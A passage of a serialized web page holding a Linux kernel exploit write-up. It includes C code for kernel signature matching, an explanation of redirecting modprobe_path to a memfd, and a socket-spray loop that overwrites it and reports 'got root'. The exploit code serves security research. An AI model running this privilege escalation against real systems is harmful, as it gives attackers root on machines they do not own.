char",{"type":23,"tag":139,"props":56950,"children":56951},{"style":279},[56952],{"type":28,"value":7825},{"type":23,"tag":139,"props":56954,"children":56955},{"style":294},[56956],{"type":28,"value":297},{"type":23,"tag":139,"props":56958,"children":56959},{"style":259},[56960],{"type":28,"value":273},{"type":23,"tag":139,"props":56962,"children":56963},{"class":141,"line":160},[56964],{"type":23,"tag":139,"props":56965,"children":56966},{"style":259},[56967],{"type":28,"value":8890},{"type":23,"tag":139,"props":56969,"children":56970},{"class":141,"line":169},[56971],{"type":23,"tag":139,"props":56972,"children":56973},{"style":958},[56974],{"type":28,"value":56975},"    // thanks lau :)\n",{"type":23,"tag":139,"props":56977,"children":56978},{"class":141,"line":178},[56979],{"type":23,"tag":139,"props":56980,"children":56981},{"emptyLinePlaceholder":15},[56982],{"type":28,"value":184},{"type":23,"tag":139,"props":56984,"children":56985},{"class":141,"line":187},[56986],{"type":23,"tag":139,"props":56987,"children":56988},{"style":958},[56989],{"type":28,"value":56990},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":139,"props":56992,"children":56993},{"class":141,"line":196},[56994,56998,57002,57007,57012,57016,57021,57025,57029,57034,57038,57042,57046,57050,57054,57058],{"type":23,"tag":139,"props":56995,"children":56996},{"style":319},[56997],{"type":28,"value":10290},{"type":23,"tag":139,"props":56999,"children":57000},{"style":259},[57001],{"type":28,"value":1042},{"type":23,"tag":139,"props":57003,"children":57004},{"style":245},[57005],{"type":28,"value":57006},"memcmp",{"type":23,"tag":139,"props":57008,"children":57009},{"style":259},[57010],{"type":28,"value":57011},"(addr ",{"type":23,"tag":139,"props":57013,"children":57014},{"style":982},[57015],{"type":28,"value":2382},{"type":23,"tag":139,"props":57017,"children":57018},{"style":1016},[57019],{"type":28,"value":57020}," 0x0",{"type":23,"tag":139,"props":57022,"children":57023},{"style":259},[57024],{"type":28,"value":1052},{"type":23,"tag":139,"props":57026,"children":57027},{"style":265},[57028],{"type":28,"value":18067},{"type":23,"tag":139,"props":57030,"children":57031},{"style":46270},[57032],{"type":28,"value":57033},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":139,"props":57035,"children":57036},{"style":265},[57037],{"type":28,"value":18067},{"type":23,"tag":139,"props":57039,"children":57040},{"style":259},[57041],{"type":28,"value":1052},{"type":23,"tag":139,"props":57043,"children":57044},{"style":1016},[57045],{"type":28,"value":16122},{"type":23,"tag":139,"props":57047,"children":57048},{"style":259},[57049],{"type":28,"value":1062},{"type":23,"tag":139,"props":57051,"children":57052},{"style":982},[57053],{"type":28,"value":6580},{"type":23,"tag":139,"props":57055,"children":57056},{"style":1016},[57057],{"type":28,"value":1019},{"type":23,"tag":139,"props":57059,"children":57060},{"style":982},[57061],{"type":28,"value":50582},{"type":23,"tag":139,"props":57063,"children":57064},{"class":141,"line":205},[57065,57070,57074,57078,57083,57087,57091,57096,57100,57104,57108,57112,57116,57120],{"type":23,"tag":139,"props":57066,"children":57067},{"style":245},[57068],{"type":28,"value":57069},"        memcmp",{"type":23,"tag":139,"props":57071,"children":57072},{"style":259},[57073],{"type":28,"value":57011},{"type":23,"tag":139,"props":57075,"children":57076},{"style":982},[57077],{"type":28,"value":2382},{"type":23,"tag":139,"props":57079,"children":57080},{"style":1016},[57081],{"type":28,"value":57082}," 0x7",{"type":23,"tag":139,"props":57084,"children":57085},{"style":259},[57086],{"type":28,"value":1052},{"type":23,"tag":139,"props":57088,"children":57089},{"style":265},[57090],{"type":28,"value":18067},{"type":23,"tag":139,"props":57092,"children":57093},{"style":46270},[57094],{"type":28,"value":57095},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":139,"props":57097,"children":57098},{"style":265},[57099],{"type":28,"value":18067},{"type":23,"tag":139,"props":57101,"children":57102},{"style":259},[57103],{"type":28,"value":1052},{"type":23,"tag":139,"props":57105,"children":57106},{"style":1016},[57107],{"type":28,"value":52569},{"type":23,"tag":139,"props":57109,"children":57110},{"style":259},[57111],{"type":28,"value":1062},{"type":23,"tag":139,"props":57113,"children":57114},{"style":982},[57115],{"type":28,"value":6580},{"type":23,"tag":139,"props":57117,"children":57118},{"style":1016},[57119],{"type":28,"value":1019},{"type":23,"tag":139,"props":57121,"children":57122},{"style":259},[57123],{"type":28,"value":273},{"type":23,"tag":139,"props":57125,"children":57126},{"class":141,"line":214},[57127,57131,57135],{"type":23,"tag":139,"props":57128,"children":57129},{"style":319},[57130],{"type":28,"value":13755},{"type":23,"tag":139,"props":57132,"children":57133},{"style":279},[57134],{"type":28,"value":10480},{"type":23,"tag":139,"props":57136,"children":57137},{"style":259},[57138],{"type":28,"value":995},{"type":23,"tag":139,"props":57140,"children":57141},{"class":141,"line":1320},[57142],{"type":23,"tag":139,"props":57143,"children":57144},{"emptyLinePlaceholder":15},[57145],{"type":28,"value":184},{"type":23,"tag":139,"props":57147,"children":57148},{"class":141,"line":1329},[57149],{"type":23,"tag":139,"props":57150,"children":57151},{"style":958},[57152],{"type":28,"value":57153},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":139,"props":57155,"children":57156},{"class":141,"line":1580},[57157,57161,57165,57169,57173,57177,57181,57185,57189,57194,57198,57202,57206,57210,57214,57218],{"type":23,"tag":139,"props":57158,"children":57159},{"style":319},[57160],{"type":28,"value":10290},{"type":23,"tag":139,"props":57162,"children":57163},{"style":259},[57164],{"type":28,"value":1042},{"type":23,"tag":139,"props":57166,"children":57167},{"style":245},[57168],{"type":28,"value":57006},{"type":23,"tag":139,"props":57170,"children":57171},{"style":259},[57172],{"type":28,"value":57011},{"type":23,"tag":139,"props":57174,"children":57175},{"style":982},[57176],{"type":28,"value":2382},{"type":23,"tag":139,"props":57178,"children":57179},{"style":1016},[57180],{"type":28,"value":57020},{"type":23,"tag":139,"props":57182,"children":57183},{"style":259},[57184],{"type":28,"value":1052},{"type":23,"tag":139,"props":57186,"children":57187},{"style":265},[57188],{"type":28,"value":18067},{"type":23,"tag":139,"props":57190,"children":57191},{"style":46270},[57192],{"type":28,"value":57193},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":139,"props":57195,"children":57196},{"style":265},[57197],{"type":28,"value":18067},{"type":23,"tag":139,"props":57199,"children":57200},{"style":259},[57201],{"type":28,"value":1052},{"type":23,"tag":139,"props":57203,"children":57204},{"style":1016},[57205],{"type":28,"value":15541},{"type":23,"tag":139,"props":57207,"children":57208},{"style":259},[57209],{"type":28,"value":1062},{"type":23,"tag":139,"props":57211,"children":57212},{"style":982},[57213],{"type":28,"value":6580},{"type":23,"tag":139,"props":57215,"children":57216},{"style":1016},[57217],{"type":28,"value":1019},{"type":23,"tag":139,"props":57219,"children":57220},{"style":982},[57221],{"type":28,"value":50582},{"type":23,"tag":139,"props":57223,"children":57224},{"class":141,"line":1597},[57225,57229,57233,57237,57242,57246,57250,57255,57259,57263,57268,57272,57276,57280],{"type":23,"tag":139,"props":57226,"children":57227},{"style":245},[57228],{"type":28,"value":57069},{"type":23,"tag":139,"props":57230,"children":57231},{"style":259},[57232],{"type":28,"value":57011},{"type":23,"tag":139,"props":57234,"children":57235},{"style":982},[57236],{"type":28,"value":2382},{"type":23,"tag":139,"props":57238,"children":57239},{"style":1016},[57240],{"type":28,"value":57241}," 0x8",{"type":23,"tag":139,"props":57243,"children":57244},{"style":259},[57245],{"type":28,"value":1052},{"type":23,"tag":139,"props":57247,"children":57248},{"style":265},[57249],{"type":28,"value":18067},{"type":23,"tag":139,"props":57251,"children":57252},{"style":46270},[57253],{"type":28,"value":57254},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":139,"props":57256,"children":57257},{"style":265},[57258],{"type":28,"value":18067},{"type":23,"tag":139,"props":57260,"children":57261},{"style":259},[57262],{"type":28,"value":1052},{"type":23,"tag":139,"props":57264,"children":57265},{"style":1016},[57266],{"type":28,"value":57267},"12",{"type":23,"tag":139,"props":57269,"children":57270},{"style":259},[57271],{"type":28,"value":1062},{"type":23,"tag":139,"props":57273,"children":57274},{"style":982},[57275],{"type":28,"value":6580},{"type":23,"tag":139,"props":57277,"children":57278},{"style":1016},[57279],{"type":28,"value":1019},{"type":23,"tag":139,"props":57281,"children":57282},{"style":982},[57283],{"type":28,"value":50582},{"type":23,"tag":139,"props":57285,"children":57286},{"class":141,"line":1614},[57287,57291,57295,57299,57304,57308,57312,57317,57321,57325,57329,57333,57337,57341],{"type":23,"tag":139,"props":57288,"children":57289},{"style":245},[57290],{"type":28,"value":57069},{"type":23,"tag":139,"props":57292,"children":57293},{"style":259},[57294],{"type":28,"value":57011},{"type":23,"tag":139,"props":57296,"children":57297},{"style":982},[57298],{"type":28,"value":2382},{"type":23,"tag":139,"props":57300,"children":57301},{"style":1016},[57302],{"type":28,"value":57303}," 0x18",{"type":23,"tag":139,"props":57305,"children":57306},{"style":259},[57307],{"type":28,"value":1052},{"type":23,"tag":139,"props":57309,"children":57310},{"style":265},[57311],{"type":28,"value":18067},{"type":23,"tag":139,"props":57313,"children":57314},{"style":46270},[57315],{"type":28,"value":57316},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":139,"props":57318,"children":57319},{"style":265},[57320],{"type":28,"value":18067},{"type":23,"tag":139,"props":57322,"children":57323},{"style":259},[57324],{"type":28,"value":1052},{"type":23,"tag":139,"props":57326,"children":57327},{"style":1016},[57328],{"type":28,"value":15541},{"type":23,"tag":139,"props":57330,"children":57331},{"style":259},[57332],{"type":28,"value":1062},{"type":23,"tag":139,"props":57334,"children":57335},{"style":982},[57336],{"type":28,"value":6580},{"type":23,"tag":139,"props":57338,"children":57339},{"style":1016},[57340],{"type":28,"value":1019},{"type":23,"tag":139,"props":57342,"children":57343},{"style":982},[57344],{"type":28,"value":50582},{"type":23,"tag":139,"props":57346,"children":57347},{"class":141,"line":1627},[57348,57352,57356,57360,57365,57369,57373,57378,57382,57386,57390,57394,57398,57402],{"type":23,"tag":139,"props":57349,"children":57350},{"style":245},[57351],{"type":28,"value":57069},{"type":23,"tag":139,"props":57353,"children":57354},{"style":259},[57355],{"type":28,"value":57011},{"type":23,"tag":139,"props":57357,"children":57358},{"style":982},[57359],{"type":28,"value":2382},{"type":23,"tag":139,"props":57361,"children":57362},{"style":1016},[57363],{"type":28,"value":57364}," 0x20",{"type":23,"tag":139,"props":57366,"children":57367},{"style":259},[57368],{"type":28,"value":1052},{"type":23,"tag":139,"props":57370,"children":57371},{"style":265},[57372],{"type":28,"value":18067},{"type":23,"tag":139,"props":57374,"children":57375},{"style":46270},[57376],{"type":28,"value":57377},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":139,"props":57379,"children":57380},{"style":265},[57381],{"type":28,"value":18067},{"type":23,"tag":139,"props":57383,"children":57384},{"style":259},[57385],{"type":28,"value":1052},{"type":23,"tag":139,"props":57387,"children":57388},{"style":1016},[57389],{"type":28,"value":16434},{"type":23,"tag":139,"props":57391,"children":57392},{"style":259},[57393],{"type":28,"value":1062},{"type":23,"tag":139,"props":57395,"children":57396},{"style":982},[57397],{"type":28,"value":6580},{"type":23,"tag":139,"props":57399,"children":57400},{"style":1016},[57401],{"type":28,"value":1019},{"type":23,"tag":139,"props":57403,"children":57404},{"style":982},[57405],{"type":28,"value":50582},{"type":23,"tag":139,"props":57407,"children":57408},{"class":141,"line":1636},[57409,57413,57417,57421,57426,57430,57434,57439,57443,57447,57452,57456,57460,57464],{"type":23,"tag":139,"props":57410,"children":57411},{"style":245},[57412],{"type":28,"value":57069},{"type":23,"tag":139,"props":57414,"children":57415},{"style":259},[57416],{"type":28,"value":57011},{"type":23,"tag":139,"props":57418,"children":57419},{"style":982},[57420],{"type":28,"value":2382},{"type":23,"tag":139,"props":57422,"children":57423},{"style":1016},[57424],{"type":28,"value":57425}," 0x2a",{"type":23,"tag":139,"props":57427,"children":57428},{"style":259},[57429],{"type":28,"value":1052},{"type":23,"tag":139,"props":57431,"children":57432},{"style":265},[57433],{"type":28,"value":18067},{"type":23,"tag":139,"props":57435,"children":57436},{"style":46270},[57437],{"type":28,"value":57438},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":139,"props":57440,"children":57441},{"style":265},[57442],{"type":28,"value":18067},{"type":23,"tag":139,"props":57444,"children":57445},{"style":259},[57446],{"type":28,"value":1052},{"type":23,"tag":139,"props":57448,"children":57449},{"style":1016},[57450],{"type":28,"value":57451},"24",{"type":23,"tag":139,"props":57453,"children":57454},{"style":259},[57455],{"type":28,"value":1062},{"type":23,"tag":139,"props":57457,"children":57458},{"style":982},[57459],{"type":28,"value":6580},{"type":23,"tag":139,"props":57461,"children":57462},{"style":1016},[57463],{"type":28,"value":1019},{"type":23,"tag":139,"props":57465,"children":57466},{"style":982},[57467],{"type":28,"value":50582},{"type":23,"tag":139,"props":57469,"children":57470},{"class":141,"line":1659},[57471,57475,57479,57483,57488,57492,57496,57501,57505,57509,57514,57518,57522,57526],{"type":23,"tag":139,"props":57472,"children":57473},{"style":245},[57474],{"type":28,"value":57069},{"type":23,"tag":139,"props":57476,"children":57477},{"style":259},[57478],{"type":28,"value":57011},{"type":23,"tag":139,"props":57480,"children":57481},{"style":982},[57482],{"type":28,"value":2382},{"type":23,"tag":139,"props":57484,"children":57485},{"style":1016},[57486],{"type":28,"value":57487}," 0x45",{"type":23,"tag":139,"props":57489,"children":57490},{"style":259},[57491],{"type":28,"value":1052},{"type":23,"tag":139,"props":57493,"children":57494},{"style":265},[57495],{"type":28,"value":18067},{"type":23,"tag":139,"props":57497,"children":57498},{"style":46270},[57499],{"type":28,"value":57500},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":139,"props":57502,"children":57503},{"style":265},[57504],{"type":28,"value":18067},{"type":23,"tag":139,"props":57506,"children":57507},{"style":259},[57508],{"type":28,"value":1052},{"type":23,"tag":139,"props":57510,"children":57511},{"style":1016},[57512],{"type":28,"value":57513},"15",{"type":23,"tag":139,"props":57515,"children":57516},{"style":259},[57517],{"type":28,"value":1062},{"type":23,"tag":139,"props":57519,"children":57520},{"style":982},[57521],{"type":28,"value":6580},{"type":23,"tag":139,"props":57523,"children":57524},{"style":1016},[57525],{"type":28,"value":1019},{"type":23,"tag":139,"props":57527,"children":57528},{"style":982},[57529],{"type":28,"value":50582},{"type":23,"tag":139,"props":57531,"children":57532},{"class":141,"line":1667},[57533,57537,57541,57545,57550,57554,57558,57563,57567,57571,57575,57579,57583,57587],{"type":23,"tag":139,"props":57534,"children":57535},{"style":245},[57536],{"type":28,"value":57069},{"type":23,"tag":139,"props":57538,"children":57539},{"style":259},[57540],{"type":28,"value":57011},{"type":23,"tag":139,"props":57542,"children":57543},{"style":982},[57544],{"type":28,"value":2382},{"type":23,"tag":139,"props":57546,"children":57547},{"style":1016},[57548],{"type":28,"value":57549}," 0x55",{"type":23,"tag":139,"props":57551,"children":57552},{"style":259},[57553],{"type":28,"value":1052},{"type":23,"tag":139,"props":57555,"children":57556},{"style":265},[57557],{"type":28,"value":18067},{"type":23,"tag":139,"props":57559,"children":57560},{"style":46270},[57561],{"type":28,"value":57562},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":139,"props":57564,"children":57565},{"style":265},[57566],{"type":28,"value":18067},{"type":23,"tag":139,"props":57568,"children":57569},{"style":259},[57570],{"type":28,"value":1052},{"type":23,"tag":139,"props":57572,"children":57573},{"style":1016},[57574],{"type":28,"value":2075},{"type":23,"tag":139,"props":57576,"children":57577},{"style":259},[57578],{"type":28,"value":1062},{"type":23,"tag":139,"props":57580,"children":57581},{"style":982},[57582],{"type":28,"value":6580},{"type":23,"tag":139,"props":57584,"children":57585},{"style":1016},[57586],{"type":28,"value":1019},{"type":23,"tag":139,"props":57588,"children":57589},{"style":982},[57590],{"type":28,"value":50582},{"type":23,"tag":139,"props":57592,"children":57593},{"class":141,"line":1676},[57594,57598,57602,57606,57611,57615,57619,57624,57628,57632,57636,57640,57644,57648],{"type":23,"tag":139,"props":57595,"children":57596},{"style":245},[57597],{"type":28,"value":57069},{"type":23,"tag":139,"props":57599,"children":57600},{"style":259},[57601],{"type":28,"value":57011},{"type":23,"tag":139,"props":57603,"children":57604},{"style":982},[57605],{"type":28,"value":2382},{"type":23,"tag":139,"props":57607,"children":57608},{"style":1016},[57609],{"type":28,"value":57610}," 0x61",{"type":23,"tag":139,"props":57612,"children":57613},{"style":259},[57614],{"type":28,"value":1052},{"type":23,"tag":139,"props":57616,"children":57617},{"style":265},[57618],{"type":28,"value":18067},{"type":23,"tag":139,"props":57620,"children":57621},{"style":46270},[57622],{"type":28,"value":57623},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":139,"props":57625,"children":57626},{"style":265},[57627],{"type":28,"value":18067},{"type":23,"tag":139,"props":57629,"children":57630},{"style":259},[57631],{"type":28,"value":1052},{"type":23,"tag":139,"props":57633,"children":57634},{"style":1016},[57635],{"type":28,"value":16122},{"type":23,"tag":139,"props":57637,"children":57638},{"style":259},[57639],{"type":28,"value":1062},{"type":23,"tag":139,"props":57641,"children":57642},{"style":982},[57643],{"type":28,"value":6580},{"type":23,"tag":139,"props":57645,"children":57646},{"style":1016},[57647],{"type":28,"value":1019},{"type":23,"tag":139,"props":57649,"children":57650},{"style":982},[57651],{"type":28,"value":50582},{"type":23,"tag":139,"props":57653,"children":57654},{"class":141,"line":1745},[57655,57659,57663,57667,57672,57676,57680,57685,57689,57693,57697,57701,57705,57709],{"type":23,"tag":139,"props":57656,"children":57657},{"style":245},[57658],{"type":28,"value":57069},{"type":23,"tag":139,"props":57660,"children":57661},{"style":259},[57662],{"type":28,"value":57011},{"type":23,"tag":139,"props":57664,"children":57665},{"style":982},[57666],{"type":28,"value":2382},{"type":23,"tag":139,"props":57668,"children":57669},{"style":1016},[57670],{"type":28,"value":57671}," 0x6a",{"type":23,"tag":139,"props":57673,"children":57674},{"style":259},[57675],{"type":28,"value":1052},{"type":23,"tag":139,"props":57677,"children":57678},{"style":265},[57679],{"type":28,"value":18067},{"type":23,"tag":139,"props":57681,"children":57682},{"style":46270},[57683],{"type":28,"value":57684},"\\x48\\xc7\\xc6",{"type":23,"tag":139,"props":57686,"children":57687},{"style":265},[57688],{"type":28,"value":18067},{"type":23,"tag":139,"props":57690,"children":57691},{"style":259},[57692],{"type":28,"value":1052},{"type":23,"tag":139,"props":57694,"children":57695},{"style":1016},[57696],{"type":28,"value":15308},{"type":23,"tag":139,"props":57698,"children":57699},{"style":259},[57700],{"type":28,"value":1062},{"type":23,"tag":139,"props":57702,"children":57703},{"style":982},[57704],{"type":28,"value":6580},{"type":23,"tag":139,"props":57706,"children":57707},{"style":1016},[57708],{"type":28,"value":1019},{"type":23,"tag":139,"props":57710,"children":57711},{"style":982},[57712],{"type":28,"value":50582},{"type":23,"tag":139,"props":57714,"children":57715},{"class":141,"line":1753},[57716,57720,57724,57728,57733,57737,57741,57746,57750,57754,57758,57762,57766,57770],{"type":23,"tag":139,"props":57717,"children":57718},{"style":245},[57719],{"type":28,"value":57069},{"type":23,"tag":139,"props":57721,"children":57722},{"style":259},[57723],{"type":28,"value":57011},{"type":23,"tag":139,"props":57725,"children":57726},{"style":982},[57727],{"type":28,"value":2382},{"type":23,"tag":139,"props":57729,"children":57730},{"style":1016},[57731],{"type":28,"value":57732}," 0x71",{"type":23,"tag":139,"props":57734,"children":57735},{"style":259},[57736],{"type":28,"value":1052},{"type":23,"tag":139,"props":57738,"children":57739},{"style":265},[57740],{"type":28,"value":18067},{"type":23,"tag":139,"props":57742,"children":57743},{"style":46270},[57744],{"type":28,"value":57745},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":139,"props":57747,"children":57748},{"style":265},[57749],{"type":28,"value":18067},{"type":23,"tag":139,"props":57751,"children":57752},{"style":259},[57753],{"type":28,"value":1052},{"type":23,"tag":139,"props":57755,"children":57756},{"style":1016},[57757],{"type":28,"value":16434},{"type":23,"tag":139,"props":57759,"children":57760},{"style":259},[57761],{"type":28,"value":1062},{"type":23,"tag":139,"props":57763,"children":57764},{"style":982},[57765],{"type":28,"value":6580},{"type":23,"tag":139,"props":57767,"children":57768},{"style":1016},[57769],{"type":28,"value":1019},{"type":23,"tag":139,"props":57771,"children":57772},{"style":982},[57773],{"type":28,"value":50582},{"type":23,"tag":139,"props":57775,"children":57776},{"class":141,"line":1783},[57777,57781,57785,57789,57794,57798,57802,57807,57811,57815,57819,57823,57827,57831],{"type":23,"tag":139,"props":57778,"children":57779},{"style":245},[57780],{"type":28,"value":57069},{"type":23,"tag":139,"props":57782,"children":57783},{"style":259},[57784],{"type":28,"value":57011},{"type":23,"tag":139,"props":57786,"children":57787},{"style":982},[57788],{"type":28,"value":2382},{"type":23,"tag":139,"props":57790,"children":57791},{"style":1016},[57792],{"type":28,"value":57793}," 0x78",{"type":23,"tag":139,"props":57795,"children":57796},{"style":259},[57797],{"type":28,"value":1052},{"type":23,"tag":139,"props":57799,"children":57800},{"style":265},[57801],{"type":28,"value":18067},{"type":23,"tag":139,"props":57803,"children":57804},{"style":46270},[57805],{"type":28,"value":57806},"\\xff\\xe0",{"type":23,"tag":139,"props":57808,"children":57809},{"style":265},[57810],{"type":28,"value":18067},{"type":23,"tag":139,"props":57812,"children":57813},{"style":259},[57814],{"type":28,"value":1052},{"type":23,"tag":139,"props":57816,"children":57817},{"style":1016},[57818],{"type":28,"value":1099},{"type":23,"tag":139,"props":57820,"children":57821},{"style":259},[57822],{"type":28,"value":1062},{"type":23,"tag":139,"props":57824,"children":57825},{"style":982},[57826],{"type":28,"value":6580},{"type":23,"tag":139,"props":57828,"children":57829},{"style":1016},[57830],{"type":28,"value":1019},{"type":23,"tag":139,"props":57832,"children":57833},{"style":259},[57834],{"type":28,"value":273},{"type":23,"tag":139,"props":57836,"children":57837},{"class":141,"line":1791},[57838,57842,57846],{"type":23,"tag":139,"props":57839,"children":57840},{"style":319},[57841],{"type":28,"value":13755},{"type":23,"tag":139,"props":57843,"children":57844},{"style":279},[57845],{"type":28,"value":10480},{"type":23,"tag":139,"props":57847,"children":57848},{"style":259},[57849],{"type":28,"value":995},{"type":23,"tag":139,"props":57851,"children":57852},{"class":141,"line":1823},[57853],{"type":23,"tag":139,"props":57854,"children":57855},{"emptyLinePlaceholder":15},[57856],{"type":28,"value":184},{"type":23,"tag":139,"props":57858,"children":57859},{"class":141,"line":1831},[57860,57864,57868],{"type":23,"tag":139,"props":57861,"children":57862},{"style":319},[57863],{"type":28,"value":322},{"type":23,"tag":139,"props":57865,"children":57866},{"style":279},[57867],{"type":28,"value":7064},{"type":23,"tag":139,"props":57869,"children":57870},{"style":259},[57871],{"type":28,"value":995},{"type":23,"tag":139,"props":57873,"children":57874},{"class":141,"line":1891},[57875],{"type":23,"tag":139,"props":57876,"children":57877},{"style":259},[57878],{"type":28,"value":1897},{"type":23,"tag":139,"props":57880,"children":57881},{"class":141,"line":7053},[57882],{"type":23,"tag":139,"props":57883,"children":57884},{"style":259},[57885],{"type":28,"value":8327},{"type":23,"tag":666,"props":57887,"children":57889},{"id":57888},"overwriting-modprobe_path",[57890,57892],{"type":28,"value":57891},"Overwriting ",{"type":23,"tag":135,"props":57893,"children":57895},{"className":57894},[],[57896],{"type":28,"value":56277},{"type":23,"tag":24,"props":57898,"children":57899},{},[57900,57902,57908],{"type":28,"value":57901},"Finding the ",{"type":23,"tag":135,"props":57903,"children":57905},{"className":57904},[],[57906],{"type":28,"value":57907},"/sbin/modprobe",{"type":28,"value":57909}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":57911,"children":57912},{},[57913,57915,57921],{"type":28,"value":57914},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":135,"props":57916,"children":57918},{"className":57917},[],[57919],{"type":28,"value":57920},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":57922}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":128,"props":57924,"children":57926},{"className":27132,"code":57925,"language":27134,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[57927],{"type":23,"tag":135,"props":57928,"children":57929},{"__ignoreMap":7},[57930,57937,57959,57967,57974,57982,57990,57998,58006,58013,58021,58028,58066,58077,58084,58091,58098,58125,58156,58163,58185,58198,58205,58263,58270,58298,58305,58312,58333,58340,58361,58372,58379,58386,58407,58414,58442,58455,58462,58469,58518,58525,58593,58600,58621,58641,58648,58655,58662,58682],{"type":23,"tag":139,"props":57931,"children":57932},{"class":141,"line":142},[57933],{"type":23,"tag":139,"props":57934,"children":57935},{"style":259},[57936],{"type":28,"value":8327},{"type":23,"tag":139,"props":57938,"children":57939},{"class":141,"line":151},[57940,57945,57950,57955],{"type":23,"tag":139,"props":57941,"children":57942},{"style":259},[57943],{"type":28,"value":57944},"    puts(\"[*] ",{"type":23,"tag":139,"props":57946,"children":57947},{"style":305},[57948],{"type":28,"value":57949},"overwrite",{"type":23,"tag":139,"props":57951,"children":57952},{"style":305},[57953],{"type":28,"value":57954}," modprobe_path",{"type":23,"tag":139,"props":57956,"children":57957},{"style":265},[57958],{"type":28,"value":54190},{"type":23,"tag":139,"props":57960,"children":57961},{"class":141,"line":160},[57962],{"type":23,"tag":139,"props":57963,"children":57964},{"style":265},[57965],{"type":28,"value":57966},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":139,"props":57968,"children":57969},{"class":141,"line":169},[57970],{"type":23,"tag":139,"props":57971,"children":57972},{"style":265},[57973],{"type":28,"value":27209},{"type":23,"tag":139,"props":57975,"children":57976},{"class":141,"line":178},[57977],{"type":23,"tag":139,"props":57978,"children":57979},{"style":265},[57980],{"type":28,"value":57981},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":139,"props":57983,"children":57984},{"class":141,"line":187},[57985],{"type":23,"tag":139,"props":57986,"children":57987},{"style":265},[57988],{"type":28,"value":57989},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":139,"props":57991,"children":57992},{"class":141,"line":196},[57993],{"type":23,"tag":139,"props":57994,"children":57995},{"style":265},[57996],{"type":28,"value":57997},"        pipebuf->len = 0;\n",{"type":23,"tag":139,"props":57999,"children":58000},{"class":141,"line":205},[58001],{"type":23,"tag":139,"props":58002,"children":58003},{"style":265},[58004],{"type":28,"value":58005},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":139,"props":58007,"children":58008},{"class":141,"line":214},[58009],{"type":23,"tag":139,"props":58010,"children":58011},{"style":265},[58012],{"type":28,"value":29546},{"type":23,"tag":139,"props":58014,"children":58015},{"class":141,"line":1320},[58016],{"type":23,"tag":139,"props":58017,"children":58018},{"style":265},[58019],{"type":28,"value":58020},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":139,"props":58022,"children":58023},{"class":141,"line":1329},[58024],{"type":23,"tag":139,"props":58025,"children":58026},{"style":265},[58027],{"type":28,"value":29582},{"type":23,"tag":139,"props":58029,"children":58030},{"class":141,"line":1580},[58031,58036,58040,58044,58048,58053,58057,58061],{"type":23,"tag":139,"props":58032,"children":58033},{"style":265},[58034],{"type":28,"value":58035},"                